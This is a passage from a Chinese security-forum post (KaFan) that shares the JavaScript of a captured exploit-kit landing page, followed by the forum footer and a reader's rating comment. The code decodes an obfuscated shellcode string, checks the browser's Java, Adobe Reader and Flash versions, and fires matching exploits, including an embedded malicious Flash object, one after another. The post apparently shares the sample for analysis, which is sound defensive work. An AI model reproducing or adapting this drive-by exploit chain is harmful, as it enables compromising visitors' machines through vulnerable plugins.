  1803. 15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%
  1804. 8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%
  1805. c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%
  1806. 2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%
  1807. 7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%c2c0!%
  1808. 42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%
  1809. d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%
  1810. 8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%
  1811. 8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%
  1812. e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%
  1813. 58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%
  1814. c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%
  1815. e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%
  1816. 042e!%0382!%ef08!%9eb0!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").
  1817.   reverse().join("");
  1818.   return a["replace"](/\%!/g, "%" + "u")
  1819. }
  1820. ;
  1821. function ff2(){
  1822.   var oSpan = document.createElement("span");
  1823.   var url = "/forum/links/column.php?oznwp=" + x("ca04c") + "&cwvswq=" + x("cjdl") +
  1824.   "&ygnet=2v:1k:1m:32:33:1k:1k:31:1j:1o&xyq=qfe";
  1825.   oSpan.innerHTML = "
  1826. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  1827. '><param name='movie' value='" + url + "
  1828. ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed
  1829. src='" + url + "
  1830. ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash
  1831. ' width='10' height='10'></embed></object>";
  1832.   document.body.appendChild(oSpan);
  1833. }
  1834. document.write('');
  1835. setTimeout(end_redirect, 61000);
  1836. var pdfver = [];
  1837. function svwrbew6436b($){
  1838.   var ar = [];
  1839.   var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1840.   if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9
  1841.   ))){
  1842.     ar["push"](j2);
  1843.   }
  1844.   else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
  1845.   ] < 33) || (javax[0] == 1 && javax[1] < 6))){
  1846.     ar["push"](j1);
  1847.   }
  1848.   pdfver = pdpd.getVersion("AdobeReader");
  1849.   if (window.document)if (typeof pdfver == "string"){
  1850.     pdfver = pdfver["split"](".")
  1851.   }
  1852.   else {
  1853.     pdfver = [0, 0, 0, 0]
  1854.   }
  1855.   if (pdfver[0] > 0 && pdfver[0] < 8){
  1856.     if (window.document)ar["push"](p1);
  1857.   }
  1858.   if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))){
  1859.     ar["push"](p3);
  1860.   }
  1861.   else {
  1862.     if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))){
  1863.       ar["push"](p2);
  1864.     }
  1865.   }
  1866.   var ver = ($.getVersion("Flash") + ".").toString()["split"](".");
  1867.   if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 &&
  1868.   ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 &&
  1869.   ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))){
  1870.     ar["push"](ff2);
  1871.   }
  1872.   if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 &&
  1873.   ver[1] == 3 && ver[2] < 181)){
  1874.     ar["push"](f1);
  1875.   }
  1876.   var arcalli = 0;
  1877.   var arcall = function (){
  1878.     if (ar.length <= arcalli)return 123;
  1879.     ss = setTimeout;
  1880.     var res = ar[arcalli]();
  1881.     arcalli++;
  1882.     if (res && window.document){
  1883.       ss(function (){
  1884.         arcall()
  1885.       }
  1886.       , 5509);
  1887.     }
  1888.     else {
  1889.       arcall();
  1890.     }
  1891.   }
  1892.   ;
  1893.   arcall();
  1894. }
  1895. $["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar");
复制代码









    骄傲的使用Chrome


    Powered By Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31

    评分

    参与人数 1经验 +100 收起 理由
    wjhstu-VxG + 100 这代码也太长了……滚轮压力好大

    查看全部评分

    您需要登录后才可以回帖 登录 | 快速注册

    本版积分规则

    手机版|杀毒软件|软件论坛| 卡饭论坛

    Copyright © KaFan  KaFan.cn All Rights Reserved.

    Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 16:54 , Processed in 0.089972 second(s), 14 queries .

    卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

    快速回复 客服 返回顶部 返回列表